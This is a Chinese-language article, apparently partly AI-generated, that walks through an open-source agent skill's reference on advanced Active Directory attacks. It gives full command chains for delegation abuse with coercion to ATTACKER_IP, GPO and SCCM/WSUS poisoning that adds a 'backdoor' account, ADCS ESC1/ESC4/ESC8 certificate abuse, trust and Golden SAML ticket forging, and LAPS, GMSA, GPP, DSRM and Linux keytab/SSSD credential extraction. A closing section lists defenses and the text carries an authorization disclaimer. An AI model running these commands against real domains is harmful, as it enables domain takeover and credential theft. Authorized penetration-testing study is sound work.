AAS 技能实战:Active Directory 高级攻击技术完全手册(委派、GPO、RODC、ADCS、信任关系与 ADFS)

发布时间:2026/9/20 12:16:47
AAS 技能实战:Active Directory 高级攻击技术完全手册(委派、GPO、RODC、ADCS、信任关系与 ADFS)
AAS 技能实战Active Directory 高级攻击技术完全手册委派、GPO、RODC、ADCS、信任关系与 ADFS【免费下载链接】agentic-awesome-skillsAAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,115 agentic skills. Includes CLI, local MCP, catalog, plugins, and Workbench.项目地址: https://gitcode.com/gh_mirrors/an/agentic-awesome-skills⚠️ 授权使用声明本文内容仅用于教育目的或经授权的安全评估。在使用任何命令之前你必须获得系统所有者的明确书面许可。未经授权对生产环境实施文中技术属于非法行为并可能造成严重后果。请优先在隔离的虚拟机、沙箱或受控实验环境中进行验证。导读本文是 agentic-awesome-skillsAAS开源仓库中active-directory-attacks技能包的核心进阶参考文档references/advanced-attacks.md的完整技术解读。该技能包定位为红队操作与渗透测试场景下对微软 Active Directory 环境的攻击技术体系涵盖委派攻击、GPO 滥用、RODC 攻击、SCCM/WSUS 部署投毒、ADCS 证书攻击、域信任关系攻击、ADFS Golden SAML 以及多种凭据来源的提取手法。读完本文你将掌握上述九大高级攻击域的完整命令链、前置条件、利用思路与清理流程并能将其与仓库中的技能元数据、目录与安全护栏机制衔接使用。本文主体严格围绕该参考文档展开所有命令均完整继承自原文档并补充了参数含义、适用前提与源码/目录层面的佐证读者可对照仓库文件自行验证。1. 定位这份参考文档在 AAS 技能体系中的角色在仓库中active-directory-attacks技能由两部分构成主技能文件 SKILL.md定义了技能的名称、用途、前置条件、核心工作流Kerberos 时钟同步、BloodHound 侦察、PowerView 枚举、基础凭据攻击密码喷洒、Kerberoasting、AS-REP Roasting、DCSync、Kerberos 票据攻击金票、银票、Pass-the-Hash、OverPass-the-Hash、NTLM 中继、ADCS 基础利用、关键 CVE 以及排错速查表进阶参考 references/advanced-attacks.md即本文解读的主体聚焦基础手段之上的高级攻击面。从 data/catalog.json 中的技能目录条目可见该技能被归类为security类别风险等级标记为offensive攻击性来源为community。SKILL.md 中同时包含security-allowlist: credential-extraction, kerberos-attacks的安全白名单声明以及严格的授权确认门mandatory confirmation gate——在执行任何探测、利用、持久化、数据提取或凭据访问命令前必须先确认目标、书面授权与范围否则仅提供只读的防御性建议。本文所有内容都应视为该授权框架内的技术参考。整体攻击面地图原文共九个主题可归纳为四类——身份与认证机制滥用委派、信任关系、ADFS、管理基础设施投毒GPO、SCCM/WSUS、ADCS、RODC、凭据来源挖掘LAPS/GMSA/GPP/DSRM以及跨平台凭据复用Linux AD 集成。2. 委派攻击Delegation AttacksKerberos 委派允许服务代表用户访问其他资源是 AD 中利用价值最高的攻击面之一。原文覆盖无约束委派、约束委派与基于资源的约束委派RBCD三种形态。2.1 无约束委派Unconstrained Delegation原理当用户向启用了无约束委派的计算机进行身份验证时其 TGT票据授予票据会被保存到该计算机的内存中攻击者可借此重放获取任意用户的访问能力。发现委派目标# PowerShell Get-ADComputer -Filter {TrustedForDelegation -eq $True} # BloodHound MATCH (c:Computer {unconstraineddelegation:true}) RETURN cGet-ADComputer直接查询TrustedForDelegation属性BloodHound 的 Cypher 查询则利用其图数据库找出所有标记了unconstraineddelegation:true的计算机节点适合在收集到全量数据后做路径分析。SpoolService 滥用通过打印后台处理程序Spooler服务的远程调用强制目标向攻击者主机发起身份验证从而把高权限用户的 TGT 投递到攻击者控制的主机内存# Check spooler service ls \\dc01\pipe\spoolss # Trigger with SpoolSample .\SpoolSample.exe DC01.domain.local HELPDESK.domain.local # Or with printerbug.py python3 printerbug.py domain/user:passDC01 ATTACKER_IPls \\dc01\pipe\spoolss用于确认目标的 Spooler 命名管道可达可访问则说明存在该服务SpoolSampleWindows与printerbug.pyPythonImpacket 风格分别从两端触发认证投递。监控抓取在攻击者主机上用 Rubeus 持续监控内存中新出现的 TGTRubeus.exe monitor /interval:1每 1 秒轮询一次捕获被强制投递的 TGT 后即可离线使用。2.2 约束委派Constrained Delegation约束委派将委派范围限制到指定 SPN服务主体名称但仍可通过 S4U 扩展S4U2Self S4U2Proxy模拟任意用户。识别Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTomsds-AllowedToDelegateTo属性列出了该计算机允许委派到的服务是约束委派利用的核心字段。Rubeus 利用S4U 攻击# S4U2 attack Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt/rc4传入服务账户的 NTLM 哈希/impersonateuser指定要模拟的账户如 Administrator/msdsspn是目标服务 SPN/ptt表示将票据注入当前会话。Impacket 利用getST.py -spn HOST/target.domain.local domain/user:password -impersonate Administrator -dc-ip DC_IPgetST.py直接向 DC 请求用于模拟 Administrator 的服务票据输出.ccache文件后可配合psexec.py -k等工具横向移动。2.3 基于资源的约束委派RBCDRBCD 是 Windows Server 2012 引入的机制委派关系的控制权在被委派到的目标资源一侧msDS-AllowedToDelegateToAccount属性。若攻击者拥有对目标计算机对象的GenericWrite等写权限即可在目标上配置允许攻击者控制的机器账户进行委派进而模拟域内任意用户。# Create machine account New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString Password123 -AsPlainText -Force) # Set delegation Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$ # Get ticket .\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt三步链路先创建攻击者控制的机器账户New-MachineAccount注意该命令来自 PowerMad 等项目而非原生 cmdlet再把该账户写入目标计算机的PrincipalsAllowedToDelegateToAccount属性最后用 Rubeus 的 S4U 流程申请 cifs 服务票据完成横向移动。RBCD 的常见前提是攻击者已掌握GenericWrite/GenericAll/WriteDacl等对象写权限例如通过 SKILL.md 中介绍的 NTLM Relay 到 LDAP 并配合--delegate-access达成。3. 组策略对象滥用Group Policy Object AbuseGPO 可批量向计算机推送本地管理员、用户权限与计划任务一旦攻击者拥有对 GPO 的写权限即可把权限提升作用域扩展到整个 OU。3.1 发现易受攻击的 GPOGet-DomainObjectAcl -Identity SuperSecureGPO -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match GenericWrite|WriteDacl|WriteOwner)}通过 PowerView 的Get-DomainObjectAcl检查目标 GPO 的 ACL命中GenericWrite、WriteDacl、WriteOwner任一权限即意味着该 GPO 可被篡改。3.2 SharpGPOAbuse 利用Windows# Add local admin .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName Vulnerable GPO # Add user rights .\SharpGPOAbuse.exe --AddUserRights --UserRights SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight --UserAccount attacker --GPOName Vulnerable GPO # Add immediate task .\SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author DOMAIN\Admin --Command cmd.exe --Arguments /c net user backdoor Password123! /add --GPOName Vulnerable GPO三种利用形态--AddLocalAdmin将指定账户加入受影响计算机的本地管理员组--AddUserRights授予如SeTakeOwnershipPrivilege取得对象所有权与SeRemoteInteractiveLogonRight远程交互登录等高级权限--AddComputerTask则通过 GPO 计划任务以 SYSTEM 权限执行任意命令示例为添加后门账户。利用后应在目标计算机上执行gpupdate /force等待组策略刷新并注意最终清理恢复 GPO 原状。3.3 pyGPOAbuse 利用Linux./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id 12345677-ABCD-9876-ABCD-123456789012pyGPOAbuse 是 Linux 侧的等价实现使用-hashes lm:nt传入哈希认证也支持-hashes :nt或-no-pass-gpo-id指定目标 GPO 的 GUID。适合在 Impacket 生态的 Linux 攻击机上直接操作 SYSVOL 中的 GPO 文件。4. RODC 攻击Read-Only Domain Controller只读域控制器RODC部署在物理安全较弱的站点其本地的 AD 副本是过滤后的子集默认排除 LAPS 与 BitLocker 密钥等敏感属性但 RODC 攻击仍可带来两条有价值路径。4.1 RODC 金票Golden TicketRODC 的 krbtgt 账户与其父域 krbtgt 不同。通过 RODC 金票攻击者可以为位于msDS-RevealOnDemandGroup按需揭示组中的主体伪造票据——该组内的账户凭据允许被 RODC 按需缓存。需要注意的是RODC 上的过滤副本通常不包含 LAPS 密码与 BitLocker 恢复密钥这限制了直接凭据收割的价值但伪造票据本身即可用于身份冒用。4.2 RODC Key List 攻击前置条件RODC 的 krbtgt 凭据-rodcKeyRODC 的 krbtgt 账户 ID-rodcNo# Impacket keylistattack keylistattack.py DOMAIN/user:passwordhost -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full # Using secretsdump with keylist secretsdump.py DOMAIN/user:passwordhost -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylistkeylistattack.py利用 RODC 的 krbtgt 密钥离线重放其密钥列表key list中的账户凭据-full表示处理全部账户secretsdump.py -use-keylist则以相同思路把 RODC 密钥列表应用到 secretsdump 的凭据导出流程中。Rubeus 版本Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx/rodcNumber对应 RODC krbtgt 账户的 RID/aes256传入 RODC krbtgt 的 AES256 密钥/id:500表示伪造内置 AdministratorRID 500/sid为域 SID。5. SCCM / WSUS 部署投毒Microsoft Endpoint Configuration ManagerSCCM与 Windows Server Update ServicesWSUS是域内拥有大规模软件分发能力的系统若被攻陷即可成为分发型后门的载体。5.1 MalSCCM 攻击链路# Locate SCCM server MalSCCM.exe locate # Enumerate targets MalSCCM.exe inspect /all MalSCCM.exe inspect /computers # Create target group MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC # Create malicious app MalSCCM.exe app /create /name:backdoor /uncpath:\\SCCM\SCCMContentLib$\evil.exe # Deploy MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update # Force checkin MalSCCM.exe checkin /groupname:TargetGroup # Cleanup MalSCCM.exe app /cleanup /name:backdoor MalSCCM.exe group /delete /groupname:TargetGroup完整生命周期locate定位 SCCM 基础设施 →inspect枚举全部资产或计算机 →group创建设备集合collection并添加目标主机 →app /create在内容库SCCMContentLib$中注册恶意应用 →app /deploy以更新任务名义下发 →checkin强制目标客户端检入策略并执行 → 最后用app /cleanup与group /delete清理痕迹恢复环境原状。5.2 SCCM 网络访问账户Network Access AccountsSCCM 客户端可能使用网络访问账户NAA访问内容库这类账户往往拥有较宽的网络访问权限# Find SCCM blob Get-Wmiobject -namespace root\ccm\policy\Machine\ActualConfig -class CCM_NetworkAccessAccount # Decrypt with SharpSCCM .\SharpSCCM.exe get naa -u USERNAME -p PASSWORD先在客户端 WMI 命名空间root\ccm\policy\Machine\ActualConfig中读取策略类CCM_NetworkAccessAccount包含加密后的凭据 blob再用 SharpSCCM 的get naa配合 SCCM 管理凭据解密得到明文账户与密码。5.3 WSUS 投毒SharpWSUS# Using SharpWSUS SharpWSUS.exe locate SharpWSUS.exe inspect # Create malicious update SharpWSUS.exe create /payload:C:\psexec.exe /args:-accepteula -s -d cmd.exe /c \net user backdoor Password123! /add\ /title:Critical Update # Deploy to target SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:Demo Group # Check status SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local # Cleanup SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:Demo Grouplocate/inspect定位 WSUS 服务器并检查其是否允许不安全的连接如未强制 TLScreate以psexec.exe作为载荷、参数中嵌入net user后门创建命令伪装成标题为 Critical Update 的更新approve将该更新批准到目标计算机的指定组check核对部署状态完成后用delete清理更新记录。该攻击成立的前提是攻击者已掌握 WSUS 服务器的管理员凭据或具备相应部署权限。6. AD 证书服务攻击ADCS / AD Certificate Services6.1 ESC1——错误配置的证书模板ESC1 的核心条件是模板允许请求者自定义主题ENROLLEE_SUPPLIES_SUBJECT标志且启用了客户端身份验证 EKU增强型密钥用法攻击者可借此以任意用户的身份如administratordomain.local请求证书。# Find vulnerable templates certipy find -u userdomain.local -p password -dc-ip DC_IP -vulnerable # Request certificate as admin certipy req -u userdomain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administratordomain.local # Authenticate certipy auth -pfx administrator.pfx -dc-ip DC_IPcertipy find -vulnerable自动扫描存在 ESC 系列问题的模板certipy req以受害 UPN 请求证书并导出.pfxcertipy auth用证书完成 PKINIT 认证并 dump 目标账户的 NT 哈希。该流程与 SKILL.md 中基础 ESC1 章节一致这里作为进阶参考再次给出带-vulnerable的完整链路。6.2 ESC4——证书模板 ACL 漏洞ESC4 指攻击者拥有对证书模板对象的WriteProperty等写权限可临时把普通模板改造为 ESC1 易感模板利用后再恢复原属性# Check for WriteProperty python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl # Add ENROLLEE_SUPPLIES_SUBJECT flag python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT # Perform ESC1, then restore python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag三步走-get-acl确认当前用户对模板的写权限-add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT给模板加上允许自定义主题的标志完成 ESC1 证书请求后-value 0 -property mspki-Certificate-Name-Flag恢复名称标志原值0把模板还原到初始状态以规避检测。6.3 ESC8——NTLM 中继到 Web 注册接口ESC8 不依赖模板错误配置而是利用 NTLM 中继把捕获的认证转发到证书注册 Web 接口/certsrv/certfnsh.asp为被中继的账户直接签发证书# Start relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # Coerce authentication python3 petitpotam.py ATTACKER_IP DC_IP # Use certificate Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /pttntlmrelayx.py开启中继并指定--adcs模式与--template DomainController为域控机器账户签发证书petitpotam.pyPetitPotam通过 MS-EFSRPC 强制域控向攻击者发起认证中继成功后用Rubeus.exe asktgt以证书换取域控账户DC$的 TGT 并注入会话。这与 SKILL.md 中的 ESC8 一节相互印证进阶版加入了认证强制触发环节。6.4 Shadow Credentials影子凭据Shadow Credentials 通过向目标账户写入msDS-KeyCredentialLink属性添加攻击者控制的密钥材料从而绕过密码验证直接以 PKINIT 方式获取该账户的 TGT# Add Key Credential (pyWhisker) python3 pywhisker.py -d domain.local -u user1 -p password --target TARGET --action add # Get TGT with PKINIT python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass password domain.local/TARGET target.ccache # Get NT hash export KRB5CCNAMEtarget.ccache python3 getnthash.py -key AS-REP_KEY domain.local/TARGETpyWhisker 生成并绑定密钥对--action add可配合--export导出 pfxgettgtpkinit.py使用该证书通过 PKINIT 换取 TGT 并写入 ccache 文件随后设置KRB5CCNAME环境变量用getnthash.py借助 AS-REP 密钥恢复目标账户的 NT 哈希实现完全的身份接管。前提是攻击者拥有对目标的GenericWrite/GenericAll等写权限。7. 信任关系攻击Trust Relationship Attacks7.1 子域到父域SID History 金票在双向父子域信任中若攻击者已拿下子域的 krbtgt即可通过构造带父域 SID HistorySID S-1-5-21-PARENT-DOMAIN-SID-519即 Enterprise Admins 组的金票以子域票据进入父域并拥有企业级管理权限# Get Enterprise Admins SID from parent $ParentSID S-1-5-21-PARENT-DOMAIN-SID-519 # Create Golden Ticket with SID History kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt/sids:$ParentSID是跨域提权的关键参数——将 Enterprise Admins 的 SID 注入票据的 SID History使子域管理员在父域被识别为企业管理员。7.2 林到林信任票据 Trust Ticket林间信任基于信任密钥trust key攻击者可伪造指向外部林的 inter-realm TGT# Dump trust key lsadump::trust /patch # Forge inter-realm TGT kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi # Use trust ticket .\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /pttlsadump::trust /patch从内存中转储林间信任密钥kerberos::golden以/service:krbtgt /target:external.com伪造指向外部林的跨域 TGT输出trust.kirbiRubeusasktgs用该信任票据向外部林的 DC 申请cifs/target.external.com服务票据从而访问外部林资源。前提是需要先拿到信任密钥与外部林 DC 的地址。8. ADFS Golden SAMLAD FSActive Directory Federation Services使用令牌签名证书签发 SAML 断言。若攻击者取得 ADFS 服务账户访问权并导出令牌签名证书PFX 及解密口令即可伪造任意用户如administratordomain.local的 SAML 令牌绕过传统认证直接访问依赖联合身份的应用# Dump with ADFSDump .\ADFSDump.exe # Forge SAML token python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administratordomain.local前置条件ADFS 服务账户访问权令牌签名证书PFX 及解密口令ADFSDump.exe从 ADFS 配置数据库中导出加密的证书EncryptedPfx.bin与 DPAPI 域密钥DkmKey.binADFSpoof.py使用-b指定这两个二进制文件、-s指定 ADFS 主机以saml2协议向--endpoint指定的依赖方端点伪造--nameid声明的用户身份。该攻击的效果等同于拿到联合身份体系的总钥匙属于域失守后的终极权限级别技术。9. 凭据来源挖掘Credential Sources9.1 LAPS 密码LAPSLocal Administrator Password Solution为每台计算机维护唯一的本地管理员密码ms-mcs-admpwd属性读取该属性需要相应权限# PowerShell Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like *} -prop ms-mcs-admpwd,ms-mcs-admpwdexpirationtime # CrackMapExec crackmapexec ldap DC_IP -u user -p password -M lapsPowerShell 查询所有设置了密码过期时间说明已启用 LAPS的计算机并返回明文密码与过期时间CrackMapExec 的-M laps模块则一键批量提取。9.2 GMSA 密码组托管服务账户GMSA的密码存放在msDS-ManagedPassword属性中需要 DSInternals 工具解码# PowerShell DSInternals $gmsa Get-ADServiceAccount -Identity SVC_ACCOUNT -Properties msDS-ManagedPassword $mp $gmsa.msDS-ManagedPassword ConvertFrom-ADManagedPasswordBlob $mp# Linux with bloodyAD python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPasswordWindows 侧先读取属性再用ConvertFrom-ADManagedPasswordBlob解码Linux 侧用 bloodyAD 的getObjectAttributes直接拉取该属性的二进制 blob 后离线计算密码。前提是具备读取 GMSA 属性的权限如Read gMSA Attributes。9.3 组策略首选项GPP / cpassword历史遗留的 GPP 会在 SYSVOL 中以可预测的 AES 密钥加密保存密码cpassword且域内任何用户都可读取# Find in SYSVOL findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml # Decrypt python3 Get-GPPPassword.py -no-pass DC_IPfindstr在 SYSVOL 的策略目录中递归搜索cpassword字段Impacket 的Get-GPPPassword.py自动定位并解密-no-pass表示以当前会话凭据匿名方式利用 SYSVOL 的公开可读性。9.4 DSRM 凭据目录服务还原模式DSRM账户是域控的本地管理员账户密码在安装时设置后由系统持有其哈希可通过注册表开关将其提升为可交互登录# Dump DSRM hash Invoke-Mimikatz -Command token::elevate lsadump::sam # Enable DSRM admin logon Set-ItemProperty HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA -name DsrmAdminLogonBehavior -value 2先以管理员权限转储 SAM 数据库获取 DSRM 哈希lsadump::sam再设置注册表项DsrmAdminLogonBehavior 2允许域内账户以 DSRM 密码登录域控随后即可用 DSRM 哈希通过 Pass-the-Hash 方式直接登录域控。该手法需要域控本地管理员权限作为前提。10. Linux AD 集成环境的凭据提取现代企业大量使用 Linux 主机接入 ADSSSD、Kerberos keytab、Winbind 等这些集成点同样可能泄露凭据。10.1 CCACHE 票据复用Kerberos 缓存文件ccache在 Linux 上常以krb5cc_*命名存放于/tmp# Find tickets ls /tmp/ | grep krb5cc # Use ticket export KRB5CCNAME/tmp/krb5cc_1000找到目标用户的票据缓存后设置KRB5CCNAME环境变量指向该文件即可在本地以该用户身份发起 Kerberos 认证请求相当于 Windows 侧的 Pass-the-Ticket。10.2 从 Keytab 提取keytab 文件如/etc/krb5.keytab包含机器或服务账户的长期密钥# List keys klist -k /etc/krb5.keytab # Extract with KeyTabExtract python3 keytabextract.py /etc/krb5.keytabklist -k查看 keytab 中的主体与密钥类型keytabextract.py解析出密钥的 NTLM 哈希等可复用格式供后续 Pass-the-Hash 使用。10.3 从 SSSD 提取SSSD 将缓存的凭据与密钥存储在本地数据库中# Database location /var/lib/sss/secrets/secrets.ldb # Key location /var/lib/sss/secrets/.secrets.mkey # Extract python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkeysecrets.ldb为 SSSD 的凭据数据库LDB 格式.secrets.mkey为解密主密钥SSSDKCMExtractor.py同时提供两者即可解密并提取缓存的账户密码。前提是已获得目标 Linux 主机的 root 访问权。11. 从攻击面反推防御要点以上九类攻击面均可在原文与技能包的Constraints章节逻辑上推导出对应的加固方向以下为从攻击手法反推的防御建议非原文档原文委派面优先淘汰无约束委派严格管控msds-AllowedToDelegateTo与msDS-AllowedToDelegateToAccount的配置监控 Spooler 管道访问与异常的 S4U 票据请求GPO 面审计 GPO 对象的 ACL杜绝普通账户的GenericWrite/WriteDacl/WriteOwner权限定期对比 SYSVOL 中的 GPO 文件完整性ADCS 面审计证书模板的ENROLLEE_SUPPLIES_SUBJECT标志与 EKU 组合对应 ESC1收紧模板对象 ACL对应 ESC4为 CA Web 注册接口启用扩展保护并禁用 NTLM对应 ESC8监控msDS-KeyCredentialLink的异常写入SCCM/WSUS 面为 WSUS 强制 TLS 与认证限制内容库与分发点的网络访问监控异常的更新批准与计划任务RODC 面控制msDS-RevealOnDemandGroup成员范围定期轮换 RODC krbtgt信任面最小化林间信任范围监控跨域金票与异常 SID History凭据面及时清理 GPPcpassword历史文件为 LAPS/GMSA 配置最小读取权限禁用 DSRM 远程交互登录监控/tmp下的 ccache 与 keytab 泄露。这些建议与技能包的Must / Must Not / Should约束见 SKILL.md以及仓库中的 SECURITY_GUARDRAILS.md 安全护栏文档相辅相成适用于红队演练后的加固闭环。12. 结语与延伸阅读active-directory-attacks进阶参考文档以高度浓缩的命令速查形式覆盖了从 Kerberos 委派到联合身份伪造的完整高级攻击面。本文在完整继承原文全部命令的基础上补充了每类攻击的原理、前置条件、参数含义与清理流程。需要强调的是这些技术全部属于高破坏力、高检测风险的进攻性能力务必在书面授权与隔离实验环境中使用。继续深入可参考仓库内以下资源主技能与基础工作流SKILL.md时钟同步、侦察、Kerberoasting、金/银票、CVE 利用与排错本参考文档原文references/advanced-attacks.md技能目录元数据security类别、offensive风险、安全白名单data/catalog.json安全使用边界与授权确认门docs/SECURITY_GUARDRAILS.md敏感技能专项说明docs/SEC_SKILLS.md【免费下载链接】agentic-awesome-skillsAAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,115 agentic skills. Includes CLI, local MCP, catalog, plugins, and Workbench.项目地址: https://gitcode.com/gh_mirrors/an/agentic-awesome-skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考